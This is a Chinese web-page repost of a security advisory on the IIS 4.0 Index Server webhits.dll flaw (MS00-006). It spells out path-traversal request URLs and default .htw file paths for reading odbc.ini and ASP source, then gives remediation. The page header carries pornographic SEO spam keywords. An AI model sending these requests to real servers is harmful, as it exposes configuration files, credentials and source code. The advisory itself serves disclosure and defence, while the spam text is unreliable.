国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > ASP > 正文

虛擬web目錄容易泄露ASP源代碼 (MS,缺陷)

2019-11-18 22:31:46
字體:
供稿:網(wǎng)友
涉及程序:
Microsoft Internet Information Server/Index Server
  
描述:
震撼安全發(fā)現(xiàn):新的漏洞允許查看web服務(wù)器上任何文件包括asp源碼
  
詳細(xì):
IIS4.0上有一個應(yīng)用程序映射htw--->webhits.dll,這是用于Index Server的點擊功能的。盡管你不運行Index Server,該映
射仍然有效。這個應(yīng)用程序映射存在漏洞,允許入侵者讀取本地硬盤上的文件,數(shù)據(jù)庫文件,和ASP源代碼!
有兩種方法來實現(xiàn),第一,如果你的web server上存在.htw后綴的文件,則可以過下面的方式來查看文件內(nèi)容,比如查看
odbc.ini文件的內(nèi)容:

http://www.xxx.com/iissamples/issamples/oop/qfullhit.htw?
CiWebHitsFile=/../../winnt/odbc.ini&CiRestriction=none&CiHiliteType=Full

對于IIS的一般安裝模式可以在下列位置找到.htw文件:
/iissamples/issamples/oop/qfullhit.htw
/iissamples/issamples/oop/qsumrhit.htw
/iissamples/exair/search/qfullhit.htw
/iissamples/exair/search/qsumrhit.htw
/iishelp/iis/misc/iirturnh.htw


第二、如果你的web server上不存在這個文件,有漏洞的系統(tǒng)仍然允許用戶調(diào)用webhits.dll,具體方式如下:

http://www.xxx.com/default.htm%20%20%20%20%20.htw?
CiWebHitsFile=/../../winnt/odbc.ini&CiRestriction=none&CiHiliteType=Full
條件是default.htm必須存在。這個文件名可以是其它文件,但必須存在。webhits.dll將會把這個文件作為臨時文件打開。當(dāng)上
述URL中的空格符%20達(dá)到一定數(shù)目時,web服務(wù)的識別功能可能會出現(xiàn)問題,這樣webhits.dll將打開指定的文件
/winnt/odbc.ini。如果成功,用同樣的方法可以打開更多的文件,包括ASP代碼。近似的原理請見下面這段代碼:

FILE *fd;
int DoesTemplateExist(char *pathtohtwfile)

{
// Just in case inetinfo.exe passes too long a string
// let's make sure it's of a suitable length and not
// going to open a buffer overrun vulnerability
char *file;
file = (char *)malloc(250);
strncpy(file,pathtohtwfile,250);
fd = fopen(file,"r");
// Success
if(fd !=NULL)
{
return 1;
}
// failed
else
{
return 0;
}
}

解決方案:
不使用index server功能的用戶,可以在IIS管理控制臺中,點 web站點,屬性,選擇主目錄,配置(起始點),應(yīng)用程序映射,
將htw與webhits.dll的映射刪除。
如果要用到webhits.dll,則使用下面的補丁:
Index Server 2.0(Intel機器)的補丁
Index Server 2.0(Alpha機器)的補丁
Windows2000的Index Server服務(wù)補丁
  
安全建議:
建議在IIS控制臺中刪除無用的應(yīng)用程序映射
  
相關(guān)站點:
http://www.microsoft.com/technet/security/bulletin/ms00-006.asp

from: http://www.cnns.net/article/db/49.htm


發(fā)表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發(fā)表

圖片精選

主站蜘蛛池模板: 赤壁市| 社旗县| 景德镇市| 扎囊县| 新乐市| 无为县| 都昌县| 湖北省| 武强县| 楚雄市| 望奎县| 黔江区| 忻州市| 叙永县| 弋阳县| 平利县| 唐海县| 南京市| 桐城市| 道孚县| 山丹县| 金塔县| 壤塘县| 涡阳县| 藁城市| 荔浦县| 洛宁县| 饶河县| 涿鹿县| 彰化县| 宁远县| 吉林省| 新昌县| 徐汇区| 黄浦区| 重庆市| 阳泉市| 新疆| 深泽县| 永胜县| 班玛县|